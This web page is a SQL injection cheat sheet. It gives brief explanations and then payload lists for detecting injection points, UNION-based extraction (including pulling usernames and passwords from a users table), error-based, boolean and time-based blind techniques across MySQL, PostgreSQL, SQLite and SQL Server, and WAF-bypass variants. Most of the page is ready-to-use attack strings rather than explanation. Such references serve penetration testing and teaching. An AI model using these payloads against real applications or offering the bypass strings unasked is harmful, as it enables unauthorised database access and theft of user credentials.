KhulnaSoft Security
VulnerabilitiesAdvisoriesExploitDBTaxonomyResourcesSetupAPI Docs

© 2026 KhulnaSoft. All rights reserved.

AboutResourcesAPI Docs
Back to resources
Web Attacks
Last updated: 2023-05-15

SQL Injection Cheat Sheet

A comprehensive guide to SQL injection techniques and bypasses

Introduction

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed.

Detection

The first step in exploiting SQL injection is to detect if a vulnerability exists. Common methods include:

  • Adding a single quote (') to the parameter value to see if it causes an error
  • Using logical operators (AND 1=1, AND 1=2) to see if they affect the response
  • Using timing attacks with SLEEP() or BENCHMARK() functions

Basic Detection Payloads

-- Basic tests
parameter'
parameter''
parameter"
parameter""
parameter`
parameter``

-- Logic tests
parameter OR 1=1
parameter AND 1=1
parameter AND 1=2

-- Timing attacks
parameter' AND (SELECT 1 FROM (SELECT SLEEP(10))A) AND '1'='1
parameter' AND SLEEP(10) AND '1'='1

Union Based SQL Injection

UNION attacks are used to extract data from the database by combining the results of the original query with the results of an injected query.

UNION Attack Payloads

-- Determine the number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

-- Extract data
' UNION SELECT username,password FROM users--
' UNION SELECT table_name,column_name FROM information_schema.columns--
' UNION SELECT 1,concat(table_name) FROM information_schema.tables--

Error-Based SQL Injection

Error-based SQL injection techniques force the database to generate an error that contains the results of your injected query.

Error-Based Payloads

-- MySQL
' AND (SELECT 1 FROM (SELECT COUNT(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) AND '1'='1

-- PostgreSQL
' AND 1=cast((SELECT version()) as int) AND '1'='1

-- SQLite
' AND 1=CAST((SELECT sqlite_version()) as int) AND '1'='1

-- SQL Server
' AND 1=convert(int,(SELECT @@version)) AND '1'='1

Blind SQL Injection

Blind SQL injection is used when the application does not return error messages or the results of your query, but the query still executes.

Boolean-Based Blind Payloads

-- Test if 'admin' exists in the users table
' AND (SELECT 'x' FROM users WHERE username='admin')='x'--

-- Extract data character by character
' AND (SELECT substring(username,1,1) FROM users WHERE id=1)='a'--
' AND (SELECT ASCII(substring(username,1,1)) FROM users WHERE id=1)=97--

-- Binary search approach
' AND (SELECT ASCII(substring(username,1,1)) FROM users WHERE id=1)<128--
' AND (SELECT ASCII(substring(username,1,1)) FROM users WHERE id=1)<64--

Time-Based Blind Payloads

-- MySQL
' AND IF(1=1,SLEEP(5),0)--
' AND IF((SELECT 'x' FROM users WHERE username='admin')='x',SLEEP(5),0)--

-- PostgreSQL
' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)--

-- SQL Server
' IF (1=1) WAITFOR DELAY '0:0:5'--
' IF (SELECT COUNT(username) FROM users WHERE username='admin')=1 WAITFOR DELAY '0:0:5'--

WAF Bypass Techniques

Web Application Firewalls (WAFs) often block common SQL injection patterns. Here are some techniques to bypass them:

WAF Bypass Payloads

-- Case variation
' UnIoN SeLeCt 1,2,3--

-- Comment variations
'/**/UNION/**/SELECT/**/1,2,3--
' UN/**/ION SEL/**/ECT 1,2,3--

-- Encoding
' UNION SELECT CHAR(49),CHAR(50),CHAR(51)--

-- Alternative operators
' || (SELECT 1) || '
' + (SELECT 1) + '

-- Double encoding
%2527 instead of '

References

Additional resources for learning about SQL injection:

  • OWASP SQL Injection
  • PortSwigger SQL Injection Cheat Sheet
  • PayloadsAllTheThings SQL Injection